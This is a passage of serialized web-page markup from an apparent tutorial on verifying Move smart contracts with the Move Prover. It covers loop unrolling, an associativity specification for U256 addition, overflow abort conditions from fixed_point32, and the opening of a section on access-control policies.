g":90,"props":13962,"children":13963},{"style":136},[13964],{"type":29,"value":6123},{"type":24,"tag":90,"props":13966,"children":13967},{"style":120},[13968],{"type":29,"value":78},{"type":24,"tag":90,"props":13970,"children":13971},{"style":136},[13972],{"type":29,"value":10798},{"type":24,"tag":90,"props":13974,"children":13975},{"style":114},[13976],{"type":29,"value":719},{"type":24,"tag":90,"props":13978,"children":13979},{"style":136},[13980],{"type":29,"value":11032},{"type":24,"tag":90,"props":13982,"children":13983},{"style":114},[13984],{"type":29,"value":11037},{"type":24,"tag":90,"props":13986,"children":13987},{"style":120},[13988],{"type":29,"value":10951},{"type":24,"tag":90,"props":13990,"children":13991},{"style":136},[13992],{"type":29,"value":11046},{"type":24,"tag":90,"props":13994,"children":13995},{"style":114},[13996],{"type":29,"value":719},{"type":24,"tag":90,"props":13998,"children":13999},{"style":136},[14000],{"type":29,"value":11032},{"type":24,"tag":90,"props":14002,"children":14003},{"style":114},[14004],{"type":29,"value":11037},{"type":24,"tag":90,"props":14006,"children":14007},{"style":120},[14008],{"type":29,"value":983},{"type":24,"tag":90,"props":14010,"children":14011},{"style":136},[14012],{"type":29,"value":10862},{"type":24,"tag":90,"props":14014,"children":14015},{"style":114},[14016],{"type":29,"value":381},{"type":24,"tag":90,"props":14018,"children":14019},{"class":92,"line":272},[14020],{"type":24,"tag":90,"props":14021,"children":14022},{"style":114},[14023],{"type":29,"value":11293},{"type":24,"tag":90,"props":14025,"children":14026},{"class":92,"line":281},[14027,14031,14035,14039,14043],{"type":24,"tag":90,"props":14028,"children":14029},{"style":114},[14030],{"type":29,"value":13621},{"type":24,"tag":90,"props":14032,"children":14033},{"style":136},[14034],{"type":29,"value":6123},{"type":24,"tag":90,"props":14036,"children":14037},{"style":120},[14038],{"type":29,"value":11095},{"type":24,"tag":90,"props":14040,"children":14041},{"style":136},[14042],{"type":29,"value":10862},{"type":24,"tag":90,"props":14044,"children":14045},{"style":114},[14046],{"type":29,"value":1686},{"type":24,"tag":90,"props":14048,"children":14049},{"class":92,"line":384},[14050],{"type":24,"tag":90,"props":14051,"children":14052},{"style":114},[14053],{"type":29,"value":13645},{"type":24,"tag":25,"props":14055,"children":14056},{},[14057],{"type":29,"value":14058},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":24,"tag":25,"props":14060,"children":14061},{},[14062,14064,14069],{"type":29,"value":14063},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":24,"tag":32,"props":14065,"children":14067},{"className":14066},[],[14068],{"type":29,"value":1505},{"type":29,"value":14070}," function will always iterate exactly 4 times:",{"type":24,"tag":80,"props":14072,"children":14074},{"code":14073,"language":84,"meta":7,"className":82,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n let a1 = get(&a, i);\n let b1 = get(&b, i);\n\n[...]\n",[14075],{"type":24,"tag":32,"props":14076,"children":14077},{"__ignoreMap":7},[14078,14086,14119,14126,14142,14149,14172,14196,14241,14285,14292],{"type":24,"tag":90,"props":14079,"children":14080},{"class":92,"line":93},[14081],{"type":24,"tag":90,"props":14082,"children":14083},{"style":252},[14084],{"type":29,"value":14085},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":24,"tag":90,"props":14087,"children":14088},{"class":92,"line":200},[14089,14093,14098,14102,14106,14110,14115],{"type":24,"tag":90,"props":14090,"children":14091},{"style":97},[14092],{"type":29,"value":508},{"type":24,"tag":90,"props":14094,"children":14095},{"style":114},[14096],{"type":29,"value":14097}," WORDS",{"type":24,"tag":90,"props":14099,"children":14100},{"style":120},[14101],{"type":29,"value":78},{"type":24,"tag":90,"props":14103,"children":14104},{"style":146},[14105],{"type":29,"value":376},{"type":24,"tag":90,"props":14107,"children":14108},{"style":120},[14109],{"type":29,"value":216},{"type":24,"tag":90,"props":14111,"children":14112},{"style":349},[14113],{"type":29,"value":14114}," 4",{"type":24,"tag":90,"props":14116,"children":14117},{"style":114},[14118],{"type":29,"value":381},{"type":24,"tag":90,"props":14120,"children":14121},{"class":92,"line":239},[14122],{"type":24,"tag":90,"props":14123,"children":14124},{"emptyLinePlaceholder":16},[14125],{"type":29,"value":245},{"type":24,"tag":90,"props":14127,"children":14128},{"class":92,"line":248},[14129,14133,14137],{"type":24,"tag":90,"props":14130,"children":14131},{"style":114},[14132],{"type":29,"value":719},{"type":24,"tag":90,"props":14134,"children":14135},{"style":120},[14136],{"type":29,"value":3013},{"type":24,"tag":90,"props":14138,"children":14139},{"style":114},[14140],{"type":29,"value":14141},"]\n",{"type":24,"tag":90,"props":14143,"children":14144},{"class":92,"line":258},[14145],{"type":24,"tag":90,"props":14146,"children":14147},{"emptyLinePlaceholder":16},[14148],{"type":29,"value":245},{"type":24,"tag":90,"props":14150,"children":14151},{"class":92,"line":272},[14152,14156,14160,14164,14168],{"type":24,"tag":90,"props":14153,"children":14154},{"style":97},[14155],{"type":29,"value":895},{"type":24,"tag":90,"props":14157,"children":14158},{"style":136},[14159],{"type":29,"value":5790},{"type":24,"tag":90,"props":14161,"children":14162},{"style":120},[14163],{"type":29,"value":216},{"type":24,"tag":90,"props":14165,"children":14166},{"style":349},[14167],{"type":29,"value":5448},{"type":24,"tag":90,"props":14169,"children":14170},{"style":114},[14171],{"type":29,"value":381},{"type":24,"tag":90,"props":14173,"children":14174},{"class":92,"line":281},[14175,14179,14183,14187,14191],{"type":24,"tag":90,"props":14176,"children":14177},{"style":636},[14178],{"type":29,"value":13830},{"type":24,"tag":90,"props":14180,"children":14181},{"style":114},[14182],{"type":29,"value":1151},{"type":24,"tag":90,"props":14184,"children":14185},{"style":136},[14186],{"type":29,"value":6123},{"type":24,"tag":90,"props":14188,"children":14189},{"style":120},[14190],{"type":29,"value":11095},{"type":24,"tag":90,"props":14192,"children":14193},{"style":114},[14194],{"type":29,"value":14195}," WORDS) {\n",{"type":24,"tag":90,"props":14197,"children":14198},{"class":92,"line":384},[14199,14203,14208,14212,14217,14221,14225,14229,14233,14237],{"type":24,"tag":90,"props":14200,"children":14201},{"style":97},[14202],{"type":29,"value":206},{"type":24,"tag":90,"props":14204,"children":14205},{"style":136},[14206],{"type":29,"value":14207}," a1",{"type":24,"tag":90,"props":14209,"children":14210},{"style":120},[14211],{"type":29,"value":216},{"type":24,"tag":90,"props":14213,"children":14214},{"style":108},[14215],{"type":29,"value":14216}," get",{"type":24,"tag":90,"props":14218,"children":14219},{"style":114},[14220],{"type":29,"value":117},{"type":24,"tag":90,"props":14222,"children":14223},{"style":120},[14224],{"type":29,"value":123},{"type":24,"tag":90,"props":14226,"children":14227},{"style":136},[14228],{"type":29,"value":69},{"type":24,"tag":90,"props":14230,"children":14231},{"style":114},[14232],{"type":29,"value":133},{"type":24,"tag":90,"props":14234,"children":14235},{"style":136},[14236],{"type":29,"value":6123},{"type":24,"tag":90,"props":14238,"children":14239},{"style":114},[14240],{"type":29,"value":571},{"type":24,"tag":90,"props":14242,"children":14243},{"class":92,"line":420},[14244,14248,14253,14257,14261,14265,14269,14273,14277,14281],{"type":24,"tag":90,"props":14245,"children":14246},{"style":97},[14247],{"type":29,"value":206},{"type":24,"tag":90,"props":14249,"children":14250},{"style":136},[14251],{"type":29,"value":14252}," b1",{"type":24,"tag":90,"props":14254,"children":14255},{"style":120},[14256],{"type":29,"value":216},{"type":24,"tag":90,"props":14258,"children":14259},{"style":108},[14260],{"type":29,"value":14216},{"type":24,"tag":90,"props":14262,"children":14263},{"style":114},[14264],{"type":29,"value":117},{"type":24,"tag":90,"props":14266,"children":14267},{"style":120},[14268],{"type":29,"value":123},{"type":24,"tag":90,"props":14270,"children":14271},{"style":136},[14272],{"type":29,"value":5617},{"type":24,"tag":90,"props":14274,"children":14275},{"style":114},[14276],{"type":29,"value":133},{"type":24,"tag":90,"props":14278,"children":14279},{"style":136},[14280],{"type":29,"value":6123},{"type":24,"tag":90,"props":14282,"children":14283},{"style":114},[14284],{"type":29,"value":571},{"type":24,"tag":90,"props":14286,"children":14287},{"class":92,"line":428},[14288],{"type":24,"tag":90,"props":14289,"children":14290},{"emptyLinePlaceholder":16},[14291],{"type":29,"value":245},{"type":24,"tag":90,"props":14293,"children":14294},{"class":92,"line":437},[14295,14299,14303],{"type":24,"tag":90,"props":14296,"children":14297},{"style":114},[14298],{"type":29,"value":719},{"type":24,"tag":90,"props":14300,"children":14301},{"style":120},[14302],{"type":29,"value":3013},{"type":24,"tag":90,"props":14304,"children":14305},{"style":114},[14306],{"type":29,"value":14141},{"type":24,"tag":25,"props":14308,"children":14309},{},[14310],{"type":29,"value":14311},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":24,"tag":80,"props":14313,"children":14315},{"code":14314},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n \"Result\": \"Success\"\n}\n",[14316],{"type":24,"tag":32,"props":14317,"children":14318},{"__ignoreMap":7},[14319],{"type":29,"value":14314},{"type":24,"tag":25,"props":14321,"children":14322},{},[14323,14325,14330,14331,14337],{"type":29,"value":14324},"For the ",{"type":24,"tag":7711,"props":14326,"children":14327},{},[14328],{"type":29,"value":14329},"Associative Property",{"type":29,"value":1151},{"type":24,"tag":32,"props":14332,"children":14334},{"className":14333},[],[14335],{"type":29,"value":14336},"a+(b+c) = (a+b)+c",{"type":29,"value":14338},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":24,"tag":80,"props":14340,"children":14342},{"code":14341,"language":84,"meta":7,"className":82,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n let result_1 = add(b, c);\n let result_11 = add(a, result_1);\n let result_2 = add(a, b);\n let result_22 = add(c, result_2);\n\n let cmp = compare(&result_11, &result_22);\n if ( cmp == EQUAL ) true else false\n}\n",[14343],{"type":24,"tag":32,"props":14344,"children":14345},{"__ignoreMap":7},[14346,14422,14461,14502,14541,14582,14589,14639,14678],{"type":24,"tag":90,"props":14347,"children":14348},{"class":92,"line":93},[14349,14353,14358,14362,14366,14370,14374,14378,14382,14386,14390,14394,14398,14402,14406,14410,14414,14418],{"type":24,"tag":90,"props":14350,"children":14351},{"style":136},[14352],{"type":29,"value":3203},{"type":24,"tag":90,"props":14354,"children":14355},{"style":108},[14356],{"type":29,"value":14357}," add_assoc_property",{"type":24,"tag":90,"props":14359,"children":14360},{"style":114},[14361],{"type":29,"value":117},{"type":24,"tag":90,"props":14363,"children":14364},{"style":136},[14365],{"type":29,"value":69},{"type":24,"tag":90,"props":14367,"children":14368},{"style":120},[14369],{"type":29,"value":78},{"type":24,"tag":90,"props":14371,"children":14372},{"style":146},[14373],{"type":29,"value":7116},{"type":24,"tag":90,"props":14375,"children":14376},{"style":114},[14377],{"type":29,"value":133},{"type":24,"tag":90,"props":14379,"children":14380},{"style":136},[14381],{"type":29,"value":5617},{"type":24,"tag":90,"props":14383,"children":14384},{"style":120},[14385],{"type":29,"value":78},{"type":24,"tag":90,"props":14387,"children":14388},{"style":146},[14389],{"type":29,"value":7116},{"type":24,"tag":90,"props":14391,"children":14392},{"style":114},[14393],{"type":29,"value":133},{"type":24,"tag":90,"props":14395,"children":14396},{"style":136},[14397],{"type":29,"value":3030},{"type":24,"tag":90,"props":14399,"children":14400},{"style":120},[14401],{"type":29,"value":78},{"type":24,"tag":90,"props":14403,"children":14404},{"style":146},[14405],{"type":29,"value":7116},{"type":24,"tag":90,"props":14407,"children":14408},{"style":114},[14409],{"type":29,"value":517},{"type":24,"tag":90,"props":14411,"children":14412},{"style":120},[14413],{"type":29,"value":78},{"type":24,"tag":90,"props":14415,"children":14416},{"style":146},[14417],{"type":29,"value":167},{"type":24,"tag":90,"props":14419,"children":14420},{"style":114},[14421],{"type":29,"value":269},{"type":24,"tag":90,"props":14423,"children":14424},{"class":92,"line":200},[14425,14429,14433,14437,14441,14445,14449,14453,14457],{"type":24,"tag":90,"props":14426,"children":14427},{"style":97},[14428],{"type":29,"value":206},{"type":24,"tag":90,"props":14430,"children":14431},{"style":136},[14432],{"type":29,"value":10569},{"type":24,"tag":90,"props":14434,"children":14435},{"style":120},[14436],{"type":29,"value":216},{"type":24,"tag":90,"props":14438,"children":14439},{"style":108},[14440],{"type":29,"value":11954},{"type":24,"tag":90,"props":14442,"children":14443},{"style":114},[14444],{"type":29,"value":117},{"type":24,"tag":90,"props":14446,"children":14447},{"style":136},[14448],{"type":29,"value":5617},{"type":24,"tag":90,"props":14450,"children":14451},{"style":114},[14452],{"type":29,"value":133},{"type":24,"tag":90,"props":14454,"children":14455},{"style":136},[14456],{"type":29,"value":3030},{"type":24,"tag":90,"props":14458,"children":14459},{"style":114},[14460],{"type":29,"value":571},{"type":24,"tag":90,"props":14462,"children":14463},{"class":92,"line":239},[14464,14468,14473,14477,14481,14485,14489,14493,14498],{"type":24,"tag":90,"props":14465,"children":14466},{"style":97},[14467],{"type":29,"value":206},{"type":24,"tag":90,"props":14469,"children":14470},{"style":136},[14471],{"type":29,"value":14472}," result_11",{"type":24,"tag":90,"props":14474,"children":14475},{"style":120},[14476],{"type":29,"value":216},{"type":24,"tag":90,"props":14478,"children":14479},{"style":108},[14480],{"type":29,"value":11954},{"type":24,"tag":90,"props":14482,"children":14483},{"style":114},[14484],{"type":29,"value":117},{"type":24,"tag":90,"props":14486,"children":14487},{"style":136},[14488],{"type":29,"value":69},{"type":24,"tag":90,"props":14490,"children":14491},{"style":114},[14492],{"type":29,"value":133},{"type":24,"tag":90,"props":14494,"children":14495},{"style":136},[14496],{"type":29,"value":14497},"result_1",{"type":24,"tag":90,"props":14499,"children":14500},{"style":114},[14501],{"type":29,"value":571},{"type":24,"tag":90,"props":14503,"children":14504},{"class":92,"line":248},[14505,14509,14513,14517,14521,14525,14529,14533,14537],{"type":24,"tag":90,"props":14506,"children":14507},{"style":97},[14508],{"type":29,"value":206},{"type":24,"tag":90,"props":14510,"children":14511},{"style":136},[14512],{"type":29,"value":10595},{"type":24,"tag":90,"props":14514,"children":14515},{"style":120},[14516],{"type":29,"value":216},{"type":24,"tag":90,"props":14518,"children":14519},{"style":108},[14520],{"type":29,"value":11954},{"type":24,"tag":90,"props":14522,"children":14523},{"style":114},[14524],{"type":29,"value":117},{"type":24,"tag":90,"props":14526,"children":14527},{"style":136},[14528],{"type":29,"value":69},{"type":24,"tag":90,"props":14530,"children":14531},{"style":114},[14532],{"type":29,"value":133},{"type":24,"tag":90,"props":14534,"children":14535},{"style":136},[14536],{"type":29,"value":5617},{"type":24,"tag":90,"props":14538,"children":14539},{"style":114},[14540],{"type":29,"value":571},{"type":24,"tag":90,"props":14542,"children":14543},{"class":92,"line":258},[14544,14548,14553,14557,14561,14565,14569,14573,14578],{"type":24,"tag":90,"props":14545,"children":14546},{"style":97},[14547],{"type":29,"value":206},{"type":24,"tag":90,"props":14549,"children":14550},{"style":136},[14551],{"type":29,"value":14552}," result_22",{"type":24,"tag":90,"props":14554,"children":14555},{"style":120},[14556],{"type":29,"value":216},{"type":24,"tag":90,"props":14558,"children":14559},{"style":108},[14560],{"type":29,"value":11954},{"type":24,"tag":90,"props":14562,"children":14563},{"style":114},[14564],{"type":29,"value":117},{"type":24,"tag":90,"props":14566,"children":14567},{"style":136},[14568],{"type":29,"value":3030},{"type":24,"tag":90,"props":14570,"children":14571},{"style":114},[14572],{"type":29,"value":133},{"type":24,"tag":90,"props":14574,"children":14575},{"style":136},[14576],{"type":29,"value":14577},"result_2",{"type":24,"tag":90,"props":14579,"children":14580},{"style":114},[14581],{"type":29,"value":571},{"type":24,"tag":90,"props":14583,"children":14584},{"class":92,"line":272},[14585],{"type":24,"tag":90,"props":14586,"children":14587},{"emptyLinePlaceholder":16},[14588],{"type":29,"value":245},{"type":24,"tag":90,"props":14590,"children":14591},{"class":92,"line":281},[14592,14596,14600,14604,14609,14613,14617,14622,14626,14630,14635],{"type":24,"tag":90,"props":14593,"children":14594},{"style":97},[14595],{"type":29,"value":206},{"type":24,"tag":90,"props":14597,"children":14598},{"style":136},[14599],{"type":29,"value":10238},{"type":24,"tag":90,"props":14601,"children":14602},{"style":120},[14603],{"type":29,"value":216},{"type":24,"tag":90,"props":14605,"children":14606},{"style":108},[14607],{"type":29,"value":14608}," compare",{"type":24,"tag":90,"props":14610,"children":14611},{"style":114},[14612],{"type":29,"value":117},{"type":24,"tag":90,"props":14614,"children":14615},{"style":120},[14616],{"type":29,"value":123},{"type":24,"tag":90,"props":14618,"children":14619},{"style":136},[14620],{"type":29,"value":14621},"result_11",{"type":24,"tag":90,"props":14623,"children":14624},{"style":114},[14625],{"type":29,"value":133},{"type":24,"tag":90,"props":14627,"children":14628},{"style":120},[14629],{"type":29,"value":123},{"type":24,"tag":90,"props":14631,"children":14632},{"style":136},[14633],{"type":29,"value":14634},"result_22",{"type":24,"tag":90,"props":14636,"children":14637},{"style":114},[14638],{"type":29,"value":571},{"type":24,"tag":90,"props":14640,"children":14641},{"class":92,"line":384},[14642,14646,14651,14655,14659,14664,14668,14673],{"type":24,"tag":90,"props":14643,"children":14644},{"style":636},[14645],{"type":29,"value":639},{"type":24,"tag":90,"props":14647,"children":14648},{"style":114},[14649],{"type":29,"value":14650}," ( ",{"type":24,"tag":90,"props":14652,"children":14653},{"style":136},[14654],{"type":29,"value":10303},{"type":24,"tag":90,"props":14656,"children":14657},{"style":120},[14658],{"type":29,"value":2102},{"type":24,"tag":90,"props":14660,"children":14661},{"style":114},[14662],{"type":29,"value":14663}," EQUAL ) ",{"type":24,"tag":90,"props":14665,"children":14666},{"style":97},[14667],{"type":29,"value":6380},{"type":24,"tag":90,"props":14669,"children":14670},{"style":636},[14671],{"type":29,"value":14672}," else",{"type":24,"tag":90,"props":14674,"children":14675},{"style":97},[14676],{"type":29,"value":14677}," false\n",{"type":24,"tag":90,"props":14679,"children":14680},{"class":92,"line":420},[14681],{"type":24,"tag":90,"props":14682,"children":14683},{"style":114},[14684],{"type":29,"value":827},{"type":24,"tag":25,"props":14686,"children":14687},{},[14688],{"type":29,"value":14689},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":24,"tag":80,"props":14691,"children":14693},{"code":14692,"language":84,"meta":7,"className":82,"style":7},"spec add_assoc_property {\n aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n ensures result == true;\n}\n",[14694],{"type":24,"tag":32,"props":14695,"children":14696},{"__ignoreMap":7},[14697,14712,14816,14840],{"type":24,"tag":90,"props":14698,"children":14699},{"class":92,"line":93},[14700,14704,14708],{"type":24,"tag":90,"props":14701,"children":14702},{"style":136},[14703],{"type":29,"value":10652},{"type":24,"tag":90,"props":14705,"children":14706},{"style":136},[14707],{"type":29,"value":14357},{"type":24,"tag":90,"props":14709,"children":14710},{"style":114},[14711],{"type":29,"value":269},{"type":24,"tag":90,"props":14713,"children":14714},{"class":92,"line":200},[14715,14719,14723,14728,14732,14736,14740,14744,14748,14752,14756,14760,14764,14768,14772,14776,14780,14784,14788,14792,14796,14800,14804,14808,14812],{"type":24,"tag":90,"props":14716,"children":14717},{"style":136},[14718],{"type":29,"value":12271},{"type":24,"tag":90,"props":14720,"children":14721},{"style":114},[14722],{"type":29,"value":1151},{"type":24,"tag":90,"props":14724,"children":14725},{"style":108},[14726],{"type":29,"value":14727},"value_of_U256",{"type":24,"tag":90,"props":14729,"children":14730},{"style":114},[14731],{"type":29,"value":117},{"type":24,"tag":90,"props":14733,"children":14734},{"style":136},[14735],{"type":29,"value":69},{"type":24,"tag":90,"props":14737,"children":14738},{"style":114},[14739],{"type":29,"value":172},{"type":24,"tag":90,"props":14741,"children":14742},{"style":120},[14743],{"type":29,"value":6767},{"type":24,"tag":90,"props":14745,"children":14746},{"style":108},[14747],{"type":29,"value":12073},{"type":24,"tag":90,"props":14749,"children":14750},{"style":114},[14751],{"type":29,"value":117},{"type":24,"tag":90,"props":14753,"children":14754},{"style":136},[14755],{"type":29,"value":5617},{"type":24,"tag":90,"props":14757,"children":14758},{"style":114},[14759],{"type":29,"value":11211},{"type":24,"tag":90,"props":14761,"children":14762},{"style":120},[14763],{"type":29,"value":6767},{"type":24,"tag":90,"props":14765,"children":14766},{"style":108},[14767],{"type":29,"value":12073},{"type":24,"tag":90,"props":14769,"children":14770},{"style":114},[14771],{"type":29,"value":117},{"type":24,"tag":90,"props":14773,"children":14774},{"style":136},[14775],{"type":29,"value":3030},{"type":24,"tag":90,"props":14777,"children":14778},{"style":114},[14779],{"type":29,"value":172},{"type":24,"tag":90,"props":14781,"children":14782},{"style":120},[14783],{"type":29,"value":12312},{"type":24,"tag":90,"props":14785,"children":14786},{"style":146},[14787],{"type":29,"value":12029},{"type":24,"tag":90,"props":14789,"children":14790},{"style":120},[14791],{"type":29,"value":366},{"type":24,"tag":90,"props":14793,"children":14794},{"style":146},[14795],{"type":29,"value":12029},{"type":24,"tag":90,"props":14797,"children":14798},{"style":120},[14799],{"type":29,"value":366},{"type":24,"tag":90,"props":14801,"children":14802},{"style":146},[14803],{"type":29,"value":12029},{"type":24,"tag":90,"props":14805,"children":14806},{"style":120},[14807],{"type":29,"value":366},{"type":24,"tag":90,"props":14809,"children":14810},{"style":146},[14811],{"type":29,"value":12029},{"type":24,"tag":90,"props":14813,"children":14814},{"style":114},[14815],{"type":29,"value":381},{"type":24,"tag":90,"props":14817,"children":14818},{"class":92,"line":239},[14819,14823,14827,14831,14836],{"type":24,"tag":90,"props":14820,"children":14821},{"style":136},[14822],{"type":29,"value":12569},{"type":24,"tag":90,"props":14824,"children":14825},{"style":136},[14826],{"type":29,"value":11534},{"type":24,"tag":90,"props":14828,"children":14829},{"style":120},[14830],{"type":29,"value":2102},{"type":24,"tag":90,"props":14832,"children":14833},{"style":97},[14834],{"type":29,"value":14835}," true",{"type":24,"tag":90,"props":14837,"children":14838},{"style":114},[14839],{"type":29,"value":381},{"type":24,"tag":90,"props":14841,"children":14842},{"class":92,"line":248},[14843],{"type":24,"tag":90,"props":14844,"children":14845},{"style":114},[14846],{"type":29,"value":827},{"type":24,"tag":25,"props":14848,"children":14849},{},[14850],{"type":29,"value":14851},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":24,"tag":80,"props":14853,"children":14854},{"code":14314},[14855],{"type":24,"tag":32,"props":14856,"children":14857},{"__ignoreMap":7},[14858],{"type":29,"value":14314},{"type":24,"tag":25,"props":14860,"children":14861},{},[14862,14864,14871],{"type":29,"value":14863},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":24,"tag":69,"props":14865,"children":14868},{"href":14866,"rel":14867},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[73],[14869],{"type":29,"value":14870},"spec-lang.md",{"type":29,"value":14872}," in the Move Repository.",{"type":24,"tag":850,"props":14874,"children":14876},{"id":14875},"use-cases",[14877],{"type":29,"value":14878},"Use Cases",{"type":24,"tag":25,"props":14880,"children":14881},{},[14882],{"type":29,"value":14883},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":24,"tag":25,"props":14885,"children":14886},{},[14887],{"type":29,"value":14888},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":24,"tag":1019,"props":14890,"children":14892},{"id":14891},"error-conditions",[14893],{"type":29,"value":14894},"Error Conditions",{"type":24,"tag":25,"props":14896,"children":14897},{},[14898,14900,14906],{"type":29,"value":14899},"Taking an example from ",{"type":24,"tag":32,"props":14901,"children":14903},{"className":14902},[],[14904],{"type":29,"value":14905},"std::fixed_point32",{"type":29,"value":14907},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":24,"tag":80,"props":14909,"children":14911},{"code":14910,"language":84,"meta":7,"className":82,"style":7}," spec schema MultiplyAbortsIf {\n val: num;\n multiplier: FixedPoint32;\n aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n }\n spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n (val * multiplier.value) >> 32\n }\n",[14912],{"type":24,"tag":32,"props":14913,"children":14914},{"__ignoreMap":7},[14915,14936,14956,14977,15023,15031,15094,15133],{"type":24,"tag":90,"props":14916,"children":14917},{"class":92,"line":93},[14918,14922,14927,14932],{"type":24,"tag":90,"props":14919,"children":14920},{"style":136},[14921],{"type":29,"value":11301},{"type":24,"tag":90,"props":14923,"children":14924},{"style":136},[14925],{"type":29,"value":14926}," schema",{"type":24,"tag":90,"props":14928,"children":14929},{"style":146},[14930],{"type":29,"value":14931}," MultiplyAbortsIf",{"type":24,"tag":90,"props":14933,"children":14934},{"style":114},[14935],{"type":29,"value":269},{"type":24,"tag":90,"props":14937,"children":14938},{"class":92,"line":200},[14939,14944,14948,14952],{"type":24,"tag":90,"props":14940,"children":14941},{"style":136},[14942],{"type":29,"value":14943}," val",{"type":24,"tag":90,"props":14945,"children":14946},{"style":120},[14947],{"type":29,"value":78},{"type":24,"tag":90,"props":14949,"children":14950},{"style":136},[14951],{"type":29,"value":12102},{"type":24,"tag":90,"props":14953,"children":14954},{"style":114},[14955],{"type":29,"value":381},{"type":24,"tag":90,"props":14957,"children":14958},{"class":92,"line":239},[14959,14964,14968,14973],{"type":24,"tag":90,"props":14960,"children":14961},{"style":136},[14962],{"type":29,"value":14963}," multiplier",{"type":24,"tag":90,"props":14965,"children":14966},{"style":120},[14967],{"type":29,"value":78},{"type":24,"tag":90,"props":14969,"children":14970},{"style":146},[14971],{"type":29,"value":14972}," FixedPoint32",{"type":24,"tag":90,"props":14974,"children":14975},{"style":114},[14976],{"type":29,"value":381},{"type":24,"tag":90,"props":14978,"children":14979},{"class":92,"line":248},[14980,14985,14990,14994,14999,15003,15008,15013,15018],{"type":24,"tag":90,"props":14981,"children":14982},{"style":136},[14983],{"type":29,"value":14984}," aborts_if",{"type":24,"tag":90,"props":14986,"children":14987},{"style":108},[14988],{"type":29,"value":14989}," spec_multiply_u64",{"type":24,"tag":90,"props":14991,"children":14992},{"style":114},[14993],{"type":29,"value":117},{"type":24,"tag":90,"props":14995,"children":14996},{"style":136},[14997],{"type":29,"value":14998},"val",{"type":24,"tag":90,"props":15000,"children":15001},{"style":114},[15002],{"type":29,"value":133},{"type":24,"tag":90,"props":15004,"children":15005},{"style":136},[15006],{"type":29,"value":15007},"multiplier",{"type":24,"tag":90,"props":15009,"children":15010},{"style":114},[15011],{"type":29,"value":15012},") > MAX_U64 ",{"type":24,"tag":90,"props":15014,"children":15015},{"style":136},[15016],{"type":29,"value":15017},"with",{"type":24,"tag":90,"props":15019,"children":15020},{"style":114},[15021],{"type":29,"value":15022}," EMULTIPLICATION;\n",{"type":24,"tag":90,"props":15024,"children":15025},{"class":92,"line":258},[15026],{"type":24,"tag":90,"props":15027,"children":15028},{"style":114},[15029],{"type":29,"value":15030}," }\n",{"type":24,"tag":90,"props":15032,"children":15033},{"class":92,"line":272},[15034,15038,15042,15046,15050,15054,15058,15062,15066,15070,15074,15078,15082,15086,15090],{"type":24,"tag":90,"props":15035,"children":15036},{"style":136},[15037],{"type":29,"value":11301},{"type":24,"tag":90,"props":15039,"children":15040},{"style":136},[15041],{"type":29,"value":8592},{"type":24,"tag":90,"props":15043,"children":15044},{"style":108},[15045],{"type":29,"value":14989},{"type":24,"tag":90,"props":15047,"children":15048},{"style":114},[15049],{"type":29,"value":117},{"type":24,"tag":90,"props":15051,"children":15052},{"style":136},[15053],{"type":29,"value":14998},{"type":24,"tag":90,"props":15055,"children":15056},{"style":120},[15057],{"type":29,"value":78},{"type":24,"tag":90,"props":15059,"children":15060},{"style":136},[15061],{"type":29,"value":12102},{"type":24,"tag":90,"props":15063,"children":15064},{"style":114},[15065],{"type":29,"value":133},{"type":24,"tag":90,"props":15067,"children":15068},{"style":136},[15069],{"type":29,"value":15007},{"type":24,"tag":90,"props":15071,"children":15072},{"style":120},[15073],{"type":29,"value":78},{"type":24,"tag":90,"props":15075,"children":15076},{"style":146},[15077],{"type":29,"value":14972},{"type":24,"tag":90,"props":15079,"children":15080},{"style":114},[15081],{"type":29,"value":517},{"type":24,"tag":90,"props":15083,"children":15084},{"style":120},[15085],{"type":29,"value":78},{"type":24,"tag":90,"props":15087,"children":15088},{"style":136},[15089],{"type":29,"value":12102},{"type":24,"tag":90,"props":15091,"children":15092},{"style":114},[15093],{"type":29,"value":269},{"type":24,"tag":90,"props":15095,"children":15096},{"class":92,"line":281},[15097,15101,15105,15109,15114,15118,15123,15128],{"type":24,"tag":90,"props":15098,"children":15099},{"style":114},[15100],{"type":29,"value":11086},{"type":24,"tag":90,"props":15102,"children":15103},{"style":136},[15104],{"type":29,"value":14998},{"type":24,"tag":90,"props":15106,"children":15107},{"style":120},[15108],{"type":29,"value":366},{"type":24,"tag":90,"props":15110,"children":15111},{"style":136},[15112],{"type":29,"value":15113}," multiplier",{"type":24,"tag":90,"props":15115,"children":15116},{"style":120},[15117],{"type":29,"value":226},{"type":24,"tag":90,"props":15119,"children":15120},{"style":114},[15121],{"type":29,"value":15122},"value) ",{"type":24,"tag":90,"props":15124,"children":15125},{"style":120},[15126],{"type":29,"value":15127},">>",{"type":24,"tag":90,"props":15129,"children":15130},{"style":349},[15131],{"type":29,"value":15132}," 32\n",{"type":24,"tag":90,"props":15134,"children":15135},{"class":92,"line":384},[15136],{"type":24,"tag":90,"props":15137,"children":15138},{"style":114},[15139],{"type":29,"value":15030},{"type":24,"tag":1019,"props":15141,"children":15143},{"id":15142},"access-control-policies",[15144],{"type":29,"value":15145},"Access Control Policies",{"type":24,"tag":25,"props":15147,"children":15148},{},[15149],{"type":29,"value":15150},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification 